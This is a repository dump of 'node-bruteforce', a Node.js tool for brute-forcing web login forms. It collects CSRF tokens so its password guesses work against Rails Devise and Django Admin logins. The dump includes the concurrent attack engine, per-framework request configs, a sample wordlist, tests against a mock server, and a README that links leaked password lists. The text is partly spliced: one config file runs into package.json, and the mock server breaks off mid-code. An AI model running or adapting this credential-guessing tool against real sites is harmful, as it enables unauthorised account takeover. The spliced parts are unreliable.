├── log └── .keep ├── test ├── resources │ ├── words.txt │ └── sampleConfig.json ├── application.js ├── attack.js ├── inputValidator.js ├── configBuilder.js └── support │ └── mockServer.js ├── .gitignore ├── words.txt ├── run.js ├── coverage └── blanket.js ├── config ├── custom │ ├── template.json │ └── feeRemission.json └── frameworks │ ├── railsDevise.json │ └── djangoAdmin.json ├── package.json ├── src ├── inputValidator.js ├── logger.js ├── application.js ├── programBuilder.js ├── csrfToken.js ├── configBuilder.js └── attack.js ├── Gruntfile.js └── README.md /log/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /test/resources/words.txt: -------------------------------------------------------------------------------- 1 | notpassword 2 | password -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | rockyou* 3 | log/*.log 4 | coverage.html -------------------------------------------------------------------------------- /words.txt: -------------------------------------------------------------------------------- 1 | 123456789 2 | 1234567890 3 | 123456 4 | hello 5 | password 6 | -------------------------------------------------------------------------------- /run.js: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env node 2 | 3 | (function() { 4 | 5 | var application = require('./src/application.js'); 6 | 7 | application.run(process.argv); 8 | 9 | })() 10 | 11 | -------------------------------------------------------------------------------- /coverage/blanket.js: -------------------------------------------------------------------------------- 1 | var path = require('path'); 2 | 3 | var srcDir = path.join(__dirname, '..', 'src'); 4 | 5 | require('blanket')({ 6 | // Only files that match the pattern will be instrumented 7 | pattern: srcDir 8 | }); -------------------------------------------------------------------------------- /config/custom/template.json: -------------------------------------------------------------------------------- 1 | { 2 | "capture": { 3 | "csrfRegex": "", 4 | "loginRegex": [] 5 | }, 6 | "csrf": { 7 | "url": "%URL%", 8 | "method": "GET", 9 | "headers": {}, 10 | "rejectUnauthorized": false 11 | }, 12 | "login": { 13 | "url": "%URL%", 14 | "method": "POST", 15 | "headers": { 16 | "Cookie": "%COOKIE%" 17 | }, 18 | "form": { 19 | "authenticity_token": "%TOKEN%", 20 | "user": "%USER%", 21 | "password": "%PASS%", 22 | }, 23 | "rejectUnauthorized": false 24 | } 25 | } -------------------------------------------------------------------------------- /test/resources/sampleConfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "capture": { 3 | "csrfRegex": "token=(.*)", 4 | "loginRegex": [ 5 | "Bad login" 6 | ] 7 | }, 8 | "csrf": { 9 | "url": "%URL%/csrf", 10 | "method": "GET", 11 | "headers": {}, 12 | "rejectUnauthorized": false 13 | }, 14 | "login": { 15 | "url": "%URL%/login", 16 | "method": "POST", 17 | "headers": { 18 | "Cookie": "%COOKIE%" 19 | }, 20 | "form": { 21 | "authenticity_token": "%TOKEN%", 22 | "user": "%USER%", 23 | "password": "%PASS%" 24 | }, 25 | "rejectUnauthorized": false 26 | } 27 | } -------------------------------------------------------------------------------- /config/custom/feeRemission.json: -------------------------------------------------------------------------------- 1 | { 2 | "capture": { 3 | "csrfRegex": "name=\"authenticity_token\" value=\"(.{88})\" \/>", 4 | "loginRegex": [ 5 | "Invalid email or password" 6 | ] 7 | }, 8 | "csrf": { 9 | "url": "%URL%", 10 | "method": "GET", 11 | "headers": {}, 12 | "rejectUnauthorized": false 13 | }, 14 | "login": { 15 | "url": "%URL%", 16 | "method": "POST", 17 | "headers": { 18 | "Cookie": "%COOKIE%" 19 | }, 20 | "form": { 21 | "authenticity_token": "%TOKEN%", 22 | "user[email]": "%USER%", 23 | "user[password]": "%PASS%", 24 | "commit": "Sign+in" 25 | }, 26 | "rejectUnauthorized": false 27 | } 28 | } -------------------------------------------------------------------------------- /config/frameworks/railsDevise.json: -------------------------------------------------------------------------------- 1 | { 2 | "capture": { 3 | "csrfRegex": "", 10 | "license": "MIT", 11 | "repository": { 12 | "type": "git", 13 | "url": "https://github.com/foxjerem/node-bruteforce" 14 | }, 15 | "preferGlobal": true, 16 | "bin": { 17 | "node-bruteforce": "run.js" 18 | }, 19 | "dependencies": { 20 | "async": "^1.3.0", 21 | "commander": "^2.8.1", 22 | "event-stream": "^3.3.1", 23 | "request": "^2.58.0", 24 | "winston": "^1.0.1" 25 | }, 26 | "devDependencies": { 27 | "blanket": "^1.1.7", 28 | "expect.js": "^0.3.1", 29 | "grunt": "^0.4.5", 30 | "grunt-contrib-jshint": "^0.11.2", 31 | "grunt-contrib-watch": "^0.6.1", 32 | "grunt-env": "^0.4.4", 33 | "grunt-mocha-test": "^0.12.7", 34 | "grunt-run": "^0.3.0", 35 | "mocha": "^2.2.5", 36 | "run": "^1.4.0", 37 | "sinon": "^1.15.4" 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /test/application.js: -------------------------------------------------------------------------------- 1 | var expect = require('expect.js'); 2 | var sinon = require('sinon'); 3 | var application = require('../src/application.js'); 4 | var attack = require('../src/attack.js'); 5 | var configBuilder = require('../src/configBuilder.js'); 6 | 7 | describe('Application', function() { 8 | var attackStub; 9 | 10 | beforeEach(function() { 11 | attackStub = sinon.stub(attack, 'launch'); 12 | }); 13 | 14 | afterEach(function() { 15 | attackStub.restore(); 16 | }); 17 | 18 | describe('usage', function() { 19 | it('should launch an attack with the supplied paramters', function() { 20 | var args = 21 | 'node run -u root -w words.txt -t http://dvwa.org -N 35 -T rails' 22 | .split(' '); 23 | var configSpy = sinon.spy(configBuilder, 'fromOptions'); 24 | 25 | application.run(args); 26 | 27 | sinon.assert.calledWith(configSpy, { 28 | username: 'root', 29 | wordlist: 'words.txt', 30 | target: 'http://dvwa.org', 31 | concurrency: 35, 32 | configFile: undefined, 33 | type: 'rails' 34 | }); 35 | sinon.assert.calledOnce(attackStub); 36 | }); 37 | }); 38 | }); -------------------------------------------------------------------------------- /src/inputValidator.js: -------------------------------------------------------------------------------- 1 | var logger = require('./logger.js'); 2 | 3 | // ================================================================================================ 4 | // Validate options passed to program via interface 5 | // ================================================================================================ 6 | 7 | function checkAll(program) { 8 | 9 | function check(condition, message) { 10 | if (!condition) { 11 | if (message) logger.error(message); 12 | program.help(); 13 | } 14 | } 15 | 16 | // Display help if no arguments passed 17 | check(program.rawArgs.slice(2).length); 18 | 19 | // Check all required args present 20 | check( 21 | (program.username && program.wordlist && program.target), 22 | 'Ensure all required arguments are provided (user, wordlist, url)' 23 | ); 24 | 25 | // Don't allow a framework choice and a custom config file 26 | check( 27 | !(program.type && program.config), 28 | 'Selecting a custom config file will overwrite the target framework choice' 29 | ); 30 | 31 | // Require either a framework choice or config file 32 | check( 33 | (program.type || program.config), 34 | 'Select either a supported framework or provide a config file' 35 | ); 36 | } 37 | 38 | exports.checkAll = checkAll; 39 | -------------------------------------------------------------------------------- /src/logger.js: -------------------------------------------------------------------------------- 1 | var winston = require('winston'); 2 | 3 | // ================================================================================================ 4 | // Build a custom logger for production and test 5 | // ================================================================================================ 6 | 7 | winston.emitErrs = true; 8 | 9 | var productionLogger = new winston.Logger({ 10 | transports: [ 11 | new winston.transports.File({ 12 | level: 'info', 13 | filename: './log/production.log', 14 | handleExceptions: true, 15 | json: true, 16 | maxsize: 1048576, //1MB 17 | maxFiles: 1, 18 | colorize: false 19 | }), 20 | new winston.transports.Console({ 21 | level: 'debug', 22 | handleExceptions: true, 23 | json: false, 24 | colorize: true 25 | }) 26 | ], 27 | exitOnError: false 28 | }); 29 | 30 | var testLogger = new winston.Logger({ 31 | transports: [ 32 | new winston.transports.File({ 33 | level: 'debug', 34 | filename: './log/test.log', 35 | handleExceptions: true, 36 | json: true, 37 | maxsize: 1048576, //1MB 38 | maxFiles: 1, 39 | colorize: false 40 | }) 41 | ], 42 | exitOnError: false 43 | }); 44 | 45 | function logger() { 46 | if (process.env.NODE_ENV === 'test') { 47 | return testLogger; 48 | } else { 49 | return productionLogger; 50 | } 51 | } 52 | 53 | module.exports = (logger()); 54 | -------------------------------------------------------------------------------- /src/application.js: -------------------------------------------------------------------------------- 1 | var attack = require('./attack.js'); 2 | var configBuilder = require('./configBuilder.js'); 3 | var inputValidator = require('./inputValidator.js'); 4 | var programBuilder = require('./programBuilder.js'); 5 | var logger = require('./logger.js'); 6 | 7 | // ================================================================================================ 8 | // Main 9 | // ================================================================================================ 10 | 11 | function run(cliArgs) { 12 | 13 | // Create the program object 14 | var program = programBuilder.fromArgs(cliArgs); 15 | 16 | // Check all options passed make sense 17 | inputValidator.checkAll(program); 18 | 19 | // Create the configuration 20 | var opt = { 21 | username: program.username, 22 | wordlist: program.wordlist, 23 | target: program.target, 24 | concurrency: parseInt(program.numRequests), 25 | configFile: program.config, 26 | type: program.type 27 | }; 28 | 29 | logger.info('Parsing configuration'); 30 | 31 | var config = configBuilder.fromOptions(opt); 32 | var numErrors = 0; 33 | 34 | // Define callback on finding password 35 | function onSuccess(password) { 36 | process.exit(0); 37 | } 38 | 39 | // Define callback on error 40 | function onError() { 41 | if (++numErrors > program.errorThreshold) { 42 | process.exit(1); 43 | } 44 | } 45 | 46 | // Launch the attack 47 | logger.info('Starting bruteforce...'); 48 | 49 | attack.launch( 50 | config, 51 | onSuccess, 52 | onError 53 | ); 54 | } 55 | 56 | exports.run = run; 57 | -------------------------------------------------------------------------------- /src/programBuilder.js: -------------------------------------------------------------------------------- 1 | var program = require('commander'); 2 | 3 | // ================================================================================================ 4 | // Build a program object from a raw arguments array 5 | // ================================================================================================ 6 | 7 | function fromArgs(args) { 8 | 9 | // Define option switches 10 | program 11 | .version('1.0.0') 12 | .usage('-u -w -t [options]') 13 | .description('NodeJS HTTP(S) Login Form Bruteforcer') 14 | .option('-u, --username ', 'login username') 15 | .option('-w, --wordlist ', 'dictionary file') 16 | .option('-t, --target ', 'target sign in url') 17 | .option('-N, --num-requests [n]', 'maximum concurrent requests (default 25)', 25) 18 | .option('-T, --type [framework]', 'specify target framework', /^(rails|django)$/i, false) 19 | .option('-c, --config [file]', 'custom .json config file') 20 | .option('-e, --error-threshold [n]', 'maximum errors before shutdown (default 10)', 10); 21 | 22 | // Add examples to help menu 23 | program.on('--help', function() { 24 | console.log(' Examples:\n'); 25 | console.log( 26 | ' $ ./run.js -u root -w words.txt -N 50 ' + 27 | '-t http://localhost:8000/admin -T django' 28 | ); 29 | console.log( 30 | ' $ ./run.js -u admin@rails.com -w words.txt -N 35 ' + 31 | '-t http://localhost:3000/users/sign_in -T rails' 32 | ); 33 | console.log( 34 | ' $ ./run.js -u root -w words.txt' + 35 | '-t http://dvwa/login -c config/dvwa.json\n' 36 | ); 37 | }); 38 | 39 | program.parse(args); 40 | 41 | return program; 42 | } 43 | 44 | exports.fromArgs = fromArgs; -------------------------------------------------------------------------------- /Gruntfile.js: -------------------------------------------------------------------------------- 1 | module.exports = function(grunt) { 2 | 3 | // Config 4 | grunt.initConfig({ 5 | pkg: grunt.file.readJSON('package.json'), 6 | jshint: { 7 | files: [ 'Gruntfile.js', 'src/**/*.js', 'test/**/*.js'] 8 | }, 9 | env : { 10 | dev : { 11 | NODE_ENV : grunt.option('environment') || 'test', 12 | } 13 | }, 14 | run: { 15 | mockServer: { 16 | options: { 17 | wait: false 18 | }, 19 | // cmd: "node", // but that's the default 20 | args: [ 21 | 'test/support/mockServer.js' 22 | ] 23 | } 24 | }, 25 | watch: { 26 | scripts: { 27 | files: ['<%= jshint.files %>'], 28 | tasks: ['jshint'], 29 | options: { 30 | deboundeDelay: 10000 31 | } 32 | } 33 | }, 34 | mochaTest: { 35 | test: { 36 | options: { 37 | reporter: 'spec', 38 | quiet: false, 39 | clearRequireCache: false, 40 | require: 'coverage/blanket' 41 | }, 42 | src: ['test/*.js'] 43 | }, 44 | coverage: { 45 | options: { 46 | reporter: 'html-cov', 47 | quiet: true, 48 | captureFile: 'coverage.html' 49 | }, 50 | src: ['test/*.js'] 51 | } 52 | } 53 | }); 54 | 55 | // Plugins 56 | grunt.loadNpmTasks('grunt-contrib-jshint'); 57 | grunt.loadNpmTasks('grunt-contrib-watch'); 58 | grunt.loadNpmTasks('grunt-mocha-test'); 59 | grunt.loadNpmTasks('grunt-env'); 60 | grunt.loadNpmTasks('grunt-run'); 61 | 62 | // Register Tasks 63 | grunt.registerTask('default', ['env', 'run:mockServer', 'jshint', 'mochaTest']); 64 | grunt.registerTask('test', ['env', 'run:mockServer', 'mochaTest']); 65 | }; -------------------------------------------------------------------------------- /src/csrfToken.js: -------------------------------------------------------------------------------- 1 | var request = require('request'); 2 | var logger = require('./logger.js'); 3 | 4 | // ================================================================================================ 5 | // Handle collecting and storing CSRF tokens 6 | // ================================================================================================ 7 | 8 | module.exports = function(config, onSuccess, onError) { 9 | 10 | var module = {}; 11 | 12 | // ================================================================================================ 13 | // Public API 14 | // ================================================================================================ 15 | 16 | module.pool = []; 17 | 18 | module.fetch = function(callback) { 19 | var sample = module.pool.pop(); 20 | 21 | if (sample) { 22 | callback(sample.token, sample.cookie); 23 | } else { 24 | requestFromTarget(callback); 25 | } 26 | }; 27 | 28 | module.extractFromResponse = function(response, body, csrfRegex, callback) { 29 | var cookieString = response.headers['set-cookie'] || ''; 30 | var capture = body.match(new RegExp(csrfRegex)); 31 | 32 | if (!capture) { 33 | 34 | logger.error('CSRF token not found'); 35 | logger.info('Debug info:\n'); 36 | logger.info(body); 37 | onError(); 38 | 39 | } 40 | 41 | callback(capture[1], cookieString); 42 | }; 43 | 44 | // ================================================================================================ 45 | // Private 46 | // ================================================================================================ 47 | 48 | function requestFromTarget(callback) { 49 | var reqConfig = config.getAdvanced(); 50 | 51 | request(reqConfig.csrf, function (error, response, body) { 52 | 53 | if (!error && response.statusCode === 200) { 54 | 55 | module.extractFromResponse( 56 | response, 57 | body, 58 | reqConfig.capture.csrfRegex, 59 | callback 60 | ); 61 | 62 | } else { 63 | 64 | logger.warn('Server responded with: ' + response.statusCode); 65 | onError(); 66 | 67 | } 68 | }); 69 | } 70 | 71 | return module; 72 | }; -------------------------------------------------------------------------------- /test/attack.js: -------------------------------------------------------------------------------- 1 | 2 | var expect = require('expect.js'); 3 | var sinon = require('sinon'); 4 | var attack = require('../src/attack.js'); 5 | var configBuilder = require('../src/configBuilder.js'); 6 | var logger = require('../src/logger.js'); 7 | 8 | describe('Attack', function() { 9 | var opt = { 10 | username: 'root', 11 | wordlist: 'test/resources/words.txt', 12 | target: 'http://localhost:9000', 13 | concurrency: 1, 14 | configFile: 'test/resources/sampleConfig.json' 15 | }; 16 | var config = configBuilder.fromOptions(opt); 17 | var msgSpy; 18 | var errSpy; 19 | var warnSpy; 20 | 21 | beforeEach(function() { 22 | msgSpy = sinon.spy(logger, 'info'); 23 | errSpy = sinon.spy(logger, 'error'); 24 | warnSpy = sinon.spy(logger, 'warn'); 25 | }); 26 | 27 | afterEach(function() { 28 | msgSpy.restore(); 29 | errSpy.restore(); 30 | warnSpy.restore(); 31 | }); 32 | 33 | describe('#launch', function() { 34 | it('should display a found password', function(done) { 35 | attack.launch(config, function() { 36 | sinon.assert.calledWithMatch(msgSpy, /found/i); 37 | done(); 38 | }); 39 | }); 40 | 41 | it('should display an invalid password attempt', function(done) { 42 | attack.launch(config, function() { 43 | sinon.assert.calledWithMatch(msgSpy, /invalid: notpassword/i); 44 | done(); 45 | }); 46 | }); 47 | 48 | it('should display an error if a CSRF token is not found', function(done) { 49 | opt.target = 'http://localhost:9000/non-existent'; 50 | var badConfig = configBuilder.fromOptions(opt); 51 | 52 | attack.launch(badConfig, undefined, function() { 53 | sinon.assert.calledWithMatch(errSpy, /csrf token not found/i); 54 | done(); 55 | }); 56 | }); 57 | 58 | it('should display a warning if server responds with non-success code', function(done) { 59 | opt.target = 'http://localhost:9000/unknown'; 60 | var badConfig = configBuilder.fromOptions(opt); 61 | 62 | attack.launch(badConfig, undefined, function() { 63 | sinon.assert.calledWithMatch(warnSpy, /server responded with: 404/i); 64 | done(); 65 | }); 66 | }); 67 | }); 68 | }); -------------------------------------------------------------------------------- /test/inputValidator.js: -------------------------------------------------------------------------------- 1 | var expect = require('expect.js'); 2 | var sinon = require('sinon'); 3 | var validator = require('../src/inputValidator.js'); 4 | var logger = require('../src/logger.js'); 5 | 6 | describe('Input Validation', function() { 7 | var msgSpy; 8 | var dblProgram; 9 | 10 | beforeEach(function() { 11 | dblProgram = { 12 | rawArgs: [ 13 | 'node', 14 | 'run', 15 | 'options' 16 | ], 17 | username: 'root', 18 | wordlist: 'words.txt', 19 | target: 'http://dvwa.org', 20 | type: 'rails', 21 | help: sinon.spy() 22 | }; 23 | 24 | msgSpy = sinon.spy(logger, 'error'); 25 | }); 26 | 27 | afterEach(function() { 28 | msgSpy.restore(); 29 | }); 30 | 31 | describe('#checkAll', function() { 32 | it('should display the help menu if the program is called with no args', function() { 33 | dblProgram.rawArgs = [ 'node', 'run']; 34 | 35 | validator.checkAll(dblProgram); 36 | 37 | sinon.assert.calledOnce(dblProgram.help); 38 | }); 39 | 40 | it('should display a message if the required arguments are not passed', function() { 41 | delete dblProgram.username; 42 | 43 | validator.checkAll(dblProgram); 44 | 45 | sinon.assert.calledOnce(dblProgram.help); 46 | sinon.assert.calledWithMatch(msgSpy, /required arguments/i); 47 | }); 48 | 49 | it('should display a message if BOTH config file and framework are passed', function() { 50 | dblProgram.config = 'config.json'; 51 | validator.checkAll(dblProgram); 52 | 53 | sinon.assert.calledOnce(dblProgram.help); 54 | sinon.assert.calledWithMatch(msgSpy, /overwrite the target framework/i); 55 | }); 56 | 57 | it('should display a message if NEITHER config file and framework are passed', function() { 58 | delete dblProgram.type; 59 | 60 | validator.checkAll(dblProgram); 61 | 62 | sinon.assert.calledOnce(dblProgram.help); 63 | sinon.assert.calledWithMatch(msgSpy, /framework or provide a config file/i); 64 | }); 65 | 66 | it('should not display anything otherwise', function() { 67 | validator.checkAll(dblProgram); 68 | 69 | sinon.assert.neverCalledWithMatch(dblProgram.help, /.*/); 70 | sinon.assert.neverCalledWithMatch(msgSpy, /.*/); 71 | }); 72 | }); 73 | }); -------------------------------------------------------------------------------- /src/configBuilder.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var path = require('path'); 3 | 4 | // ================================================================================================ 5 | // Build an attack configuration from an options object 6 | // ================================================================================================ 7 | 8 | function fromOptions(options) { 9 | var config = new Config(); 10 | 11 | var path = config.getSource(options.type, options.configFile); 12 | var raw = fs.readFileSync(path, 'utf-8'); 13 | 14 | raw = gsub(raw, config.ANCHORS.user, options.username); 15 | raw = gsub(raw, config.ANCHORS.url, options.target); 16 | 17 | config.rawAdvanced = raw; 18 | config.wordlist = options.wordlist; 19 | config.concurrency = options.concurrency; 20 | 21 | return config; 22 | } 23 | 24 | exports.fromOptions = fromOptions; 25 | 26 | // ================================================================================================ 27 | // Config object and method definition 28 | // ================================================================================================ 29 | 30 | function Config() {} 31 | 32 | Config.prototype.ANCHORS = { 33 | user: '%USER%', 34 | pass: '%PASS%', 35 | url: '%URL%', 36 | token: '%TOKEN%', 37 | cookie: '%COOKIE%' 38 | }; 39 | 40 | Config.prototype.FRAMEWORKS = { 41 | rails: 'railsDevise.json', 42 | django: 'djangoAdmin.json' 43 | }; 44 | 45 | Config.prototype.CONFIG_PATH = 'config/frameworks'; 46 | 47 | Config.prototype.getSource = function(type, file) { 48 | if (file) { 49 | return file; 50 | } else { 51 | return path.join(this.CONFIG_PATH, this.FRAMEWORKS[type]); 52 | } 53 | }; 54 | 55 | Config.prototype.getAdvanced = function() { 56 | return JSON.parse(this.rawAdvanced); 57 | }; 58 | 59 | Config.prototype.getLogin = function(password, token, cookie) { 60 | var raw = this.rawAdvanced; 61 | 62 | raw = gsub(raw, this.ANCHORS.pass, password); 63 | raw = gsub(raw, this.ANCHORS.token, token); 64 | raw = gsub(raw, this.ANCHORS.cookie, cookie); 65 | 66 | return JSON.parse(raw).login; 67 | }; 68 | 69 | // ================================================================================================ 70 | // Helpers 71 | // ================================================================================================ 72 | 73 | function gsub(sTarget, sFind, sReplace) { 74 | var reFind = new RegExp(sFind, 'g'); 75 | 76 | return sTarget.replace(reFind, sReplace); 77 | } 78 | -------------------------------------------------------------------------------- /test/configBuilder.js: -------------------------------------------------------------------------------- 1 | var path = require('path'); 2 | var expect = require('expect.js'); 3 | var configBuilder = require('../src/configBuilder.js'); 4 | 5 | describe('Config', function() { 6 | var options; 7 | var config; 8 | 9 | beforeEach(function() { 10 | opt = { 11 | username: 'root', 12 | wordlist: 'words.txt', 13 | target: 'http://dvwa.org', 14 | concurrency: 25, 15 | configFile: 'test/resources/sampleConfig.json' 16 | }; 17 | 18 | config = configBuilder.fromOptions(opt); 19 | }); 20 | 21 | describe('#new', function() { 22 | it('should set the wordlist', function() { 23 | expect(config.wordlist).to.eql(opt.wordlist); 24 | }); 25 | 26 | it('should set the concurrency', function() { 27 | expect(config.concurrency).to.eql(opt.concurrency); 28 | }); 29 | 30 | it('should updated raw config with known parameters', function() { 31 | expect(config.rawAdvanced).to.match(/\"url\": \"http:\/\/dvwa\.org\.*/); 32 | expect(config.rawAdvanced).to.match(/\"user\": \"root\"/); 33 | }); 34 | }); 35 | 36 | describe('#getSource', function() { 37 | it('should return the config file if one is set', function() { 38 | expect(config.getSource('', opt.configFile)).to.eql(opt.configFile); 39 | }); 40 | 41 | it('should return the appropriate framework path if one is selected', function() { 42 | var railsOpt = opt; 43 | railsOpt.type = 'rails'; 44 | delete railsOpt.configFile; 45 | 46 | var railsConfig = configBuilder.fromOptions(railsOpt); 47 | 48 | expect(railsConfig.getSource('rails')).to.eql( 49 | path.join( 50 | railsConfig.CONFIG_PATH, 51 | railsConfig.FRAMEWORKS.rails 52 | ) 53 | ); 54 | }); 55 | }); 56 | 57 | describe('#getAdvanced', function() { 58 | it('should return a config JSON object', function() { 59 | expect(config.getAdvanced().csrf.url).to.match(new RegExp(opt.target)); 60 | expect(config.getAdvanced().login.url).to.match(new RegExp(opt.target)); 61 | }); 62 | }); 63 | 64 | describe('#getLogin', function() { 65 | it('should return a config JSON object update with login fields', function() { 66 | var loginConfig = config.getLogin('pass', 'token', 'cookie'); 67 | 68 | expect(loginConfig.form.password).to.eql('pass'); 69 | expect(loginConfig.form.authenticity_token).to.eql('token'); 70 | expect(loginConfig.headers.Cookie).to.eql('cookie'); 71 | }); 72 | }); 73 | }); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Bringing the power of NodeJS to web form bruteforcing... 2 | 3 | [![Code Climate](https://codeclimate.com/github/foxjerem/node-bruteforce/badges/gpa.svg)](https://codeclimate.com/github/foxjerem/node-bruteforce) 4 | 5 | A number of great open source bruteforce tools exist. However they are not able to handle the nonce-based CSRF protection embedded into Rails and Django. This tool addresses this by first grabbing the CSRF token from the login page and then sending a login POST request. It comes pre-configured for Rails Devise and Django Admin interface and supports custom configuration for other variations. An option to set the maximum number of concurrent requests prevents overloading the target server. 6 | 7 | Please use responsibly! 8 | 9 | ### Setup 10 | 11 | ```shell 12 | $ git clone git@github.com:foxjerem/node-bruteforce.git 13 | $ cd node-bruteforce 14 | $ chmod 755 run.js 15 | $ npm install -g 16 | $ node-bruteforce 17 | ``` 18 | 19 | ### Usage 20 | 21 | ```shell 22 | 23 | Usage: node-bruteforce -u -w -t [options] 24 | 25 | NodeJS HTTP(S) Login Form Bruteforcer 26 | 27 | Options: 28 | 29 | -h, --help output usage information 30 | -V, --version output the version number 31 | -u, --username login username 32 | -w, --wordlist dictionary file 33 | -t, --target target sign in url 34 | -N, --num-requests [n] maximum concurrent requests (default 25) 35 | -T, --type [framework] specify target framework 36 | -c, --config [file] custom .json config file 37 | 38 | Examples: 39 | 40 | $ ./run.js -u root -w words.txt -N 50 -t http://localhost:8000/admin -T django 41 | $ ./run.js -u admin@rails.com -w words.txt -N 35 -t http://localhost:3000/users/sign_in -T rails 42 | $ ./run.js -u root -w words.txt-t http://dvwa/login -c config/dvwa.json 43 | 44 | ``` 45 | 46 | ### Custom Configuration 47 | 48 | Rails Devise and Django Admin default login screens are supported by default through the -T flag. In case some settings have been modified or for applications with a similar set up, users can create a custom config file to use through the -c flag. See the [template](https://github.com/foxjerem/node-bruteforce/blob/master/config/custom/template.json) for a skeleton config to get started. 49 | 50 | ### Wordlists 51 | 52 | A number of dependable wordlists can be found here: 53 | 54 | + [Linkedin 2012](http://www.adeptus-mechanicus.com/codex/hashpass/hashpass.php) 55 | + [RockYou](https://wiki.skullsecurity.org/Passwords) 56 | 57 | ### Test Suite 58 | 59 | Test runs are handled via grunt. A mini web application instance is spawned at the beginning of the test suite to handle the http requests generated by the attack. 60 | 61 | ```shell 62 | 63 | $ grunt 64 | 65 | Running "env:dev" (env) task 66 | 67 | Running "run:mockServer" (run) task 68 | >> mockServer started 69 | [+] Starting mini web application on port 9000 70 | 71 | Running "jshint:files" (jshint) task 72 | >> 12 files lint free. 73 | 74 | Running "mochaTest:test" (mochaTest) task 75 | ... 76 | 77 | ``` 78 | 79 | ### TODO 80 | 81 | + Better name! 82 | + Trap SIGINT signal. Shutdown gracefully and give ability to restore session using -R flag 83 | 84 | 85 | -------------------------------------------------------------------------------- /src/attack.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var es = require('event-stream'); 3 | var async = require('async'); 4 | var request = require('request'); 5 | var logger = require('./logger.js'); 6 | 7 | // ================================================================================================ 8 | // Manage login attempts to target 9 | // ================================================================================================ 10 | 11 | function launch(config, onSuccess, onError) { 12 | var csrfToken = require('./csrfToken.js')(config, onSuccess, onError); 13 | var queue = async.queue(tryLogin, config.concurrency); 14 | 15 | queue.drain = function() { 16 | logger.info('Finished'); 17 | }; 18 | 19 | logger.info('Reading wordlist...'); 20 | 21 | fs.createReadStream(config.wordlist) 22 | .on('error', function() { 23 | logger.error('Error reading file'); 24 | }) 25 | .on('end', function() { 26 | logger.info('Full wordlist read'); 27 | }) 28 | .pipe(es.split()) 29 | .pipe(es.map(function(word) { 30 | queue.push(word); 31 | }) 32 | ); 33 | 34 | // ============================================================================================== 35 | // Private 36 | // ============================================================================================== 37 | 38 | // Process server response to a login attempt 39 | function processLoginResponse(response, body, password) { 40 | 41 | // If we match known regex (can be multiple) password is incorrect 42 | var captureConfig = config.getAdvanced().capture; 43 | var loginFailures = captureConfig.loginRegex; 44 | var csrfRegex = captureConfig.csrfRegex; 45 | 46 | if (response.statusCode === 200 && matchAny(loginFailures, body)) { 47 | 48 | logger.info('Invalid: ' + password); 49 | 50 | csrfToken.extractFromResponse(response, body, csrfRegex, function(token, cookieString) { 51 | csrfToken.pool.push({ 52 | token: token, 53 | cookie: cookieString 54 | }); 55 | }); 56 | 57 | } else if (response.statusCode < 400) { 58 | 59 | logger.info('FOUND: ' + password); 60 | logger.info('Shutting down....'); 61 | onSuccess(password); 62 | 63 | } else { 64 | 65 | logger.warn('Server responded with: ' + response.statusCode); 66 | onError(); 67 | 68 | } 69 | } 70 | 71 | // Attempt to login with given password 72 | function tryLogin(password, callback) { 73 | 74 | csrfToken.fetch(function(token, cookieString) { 75 | var opt = config.getLogin(password, token, cookieString); 76 | 77 | // Send a login POST 78 | request(opt, function (error, response, body) { 79 | 80 | if (!error) { 81 | processLoginResponse(response, body, password); 82 | } else { 83 | logger.error(error.toString()); 84 | } 85 | 86 | callback(); 87 | }); 88 | }); 89 | } 90 | } 91 | 92 | exports.launch = launch; 93 | 94 | // ================================================================================================ 95 | // Helpers 96 | // ================================================================================================ 97 | 98 | function matchAny(arrPatterns, sTarget) { 99 | for (var i = 0; i < arrPatterns.length; i++) { 100 | 101 | var re = new RegExp(arrPatterns[i]); 102 | var match = sTarget.match(re); 103 | 104 | if (match) { 105 | return match; 106 | } 107 | } 108 | 109 | return null; 110 | 111 | } -------------------------------------------------------------------------------- /test/support/mockServer.js: -------------------------------------------------------------------------------- 1 | // ================================================================================================ 2 | // 3 | // Mini web application implementing a login to attack 4 | // 5 | // Serves URLs: 6 | // -> http://localhost:9000/csrf 7 | // -> http://localhost:9000/non-existent/csrf 8 | // -> http://localhost:9000/login 9 | // 10 | // ================================================================================================ 11 | // 12 | var http = require('http'); 13 | var url = require('url'); 14 | var querystring = require('querystring'); 15 | var crypto = require('crypto'); 16 | // 17 | // Config 18 | // 19 | var USERNAME = 'root'; 20 | var PASSWORD = 'password'; 21 | var PORT = 9000; 22 | var TOKENS = []; 23 | // 24 | // Server 25 | // 26 | var httpServer = (function() { 27 | var module = {}; 28 | 29 | module.start = function(route, handle) { 30 | function onRequest(req, res) { 31 | var pathname = url.parse(req.url).pathname; 32 | 33 | route(handle, pathname, req, res); 34 | } 35 | 36 | http 37 | .createServer(onRequest) 38 | .listen(PORT); 39 | }; 40 | 41 | return module; 42 | 43 | } ()); 44 | // 45 | // Routes 46 | // 47 | var Router = (function() { 48 | var module = {}; 49 | 50 | module.route = function(handle, pathname, req, res) { 51 | if (typeof handle[pathname] === 'function') { 52 | handle[pathname] (req, res); 53 | } else { 54 | handle['404'] (req, res); 55 | } 56 | }; 57 | 58 | return module; 59 | 60 | } ()); 61 | // 62 | // Request Handling 63 | // 64 | var RequestHandler = (function() { 65 | var module = {}; 66 | 67 | module.notFound = function(req, res) { 68 | res.writeHead(404, {'Content-Type': 'text/plain'}); 69 | res.write('[-] 404 NOT FOUND'); 70 | res.end(); 71 | }; 72 | 73 | module.csrf = function(req, res) { 74 | var token = generateToken(); 75 | 76 | res.writeHead(200, {'Content-Type': 'text/plain'}); 77 | res.write('[+] token=' + token); 78 | res.end(); 79 | }; 80 | 81 | module.noCsrf = function(req, res) { 82 | res.writeHead(200, {'Content-Type': 'text/plain'}); 83 | res.write('[-] No token here'); 84 | res.end(); 85 | }; 86 | 87 | module.login = function(req, res) { 88 | var postData = ''; 89 | 90 | req.on('data', function(data) { 91 | postData += data; 92 | }); 93 | 94 | req.on('end', function() { 95 | var data = querystring.parse(postData); 96 | 97 | if (TOKENS.indexOf(data.authenticity_token) === -1) { 98 | serverError(res); 99 | } else if (data.user === USERNAME && data.password === PASSWORD) { 100 | 